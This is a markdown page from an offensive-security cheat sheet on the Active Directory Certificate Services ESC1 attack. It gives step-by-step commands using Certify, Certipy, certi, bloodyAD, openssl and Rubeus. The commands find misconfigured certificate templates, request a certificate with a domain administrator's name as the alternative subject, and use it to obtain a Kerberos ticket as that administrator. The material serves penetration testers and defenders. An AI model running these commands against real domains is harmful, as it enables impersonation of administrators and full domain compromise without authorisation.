ad-adcs-esc01.md (3497B)
1 --- 2 title: "Active Directory - Certificate ESC1" 3 section: "Active Directory" 4 sectionSlug: "active-directory" 5 sourcePath: "docs/active-directory/ad-adcs-esc01.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/ad-adcs-esc01.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Active Directory - Certificate ESC1 12 13 ## ESC1 - Misconfigured Certificate Templates 14 15 > Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject. 16 17 **Requirements** 18 19 * Template that allows for AD authentication 20 * **ENROLLEE_SUPPLIES_SUBJECT** flag 21 * [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage) 22 23 **Exploitation** 24 25 * Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates 26 27 ```ps1 28 Certify.exe find /vulnerable 29 Certify.exe find /vulnerable /currentuser 30 # or 31 PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local' 32 # or 33 certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound 34 # or 35 python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' 36 ``` 37 38 * Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate) 39 40 ```ps1 41 # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt. 42 Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin 43 certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN 44 certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local' 45 ``` 46 47 * Use OpenSSL and convert the certificate, do not enter a password 48 49 ```ps1 50 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 51 ``` 52 53 * Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus 54 55 ```ps1 56 Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx 57 ``` 58 59 **WARNING**: These certificates will still be usable even if the user or computer resets their password! 60 61 **NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints. 62 63 ## References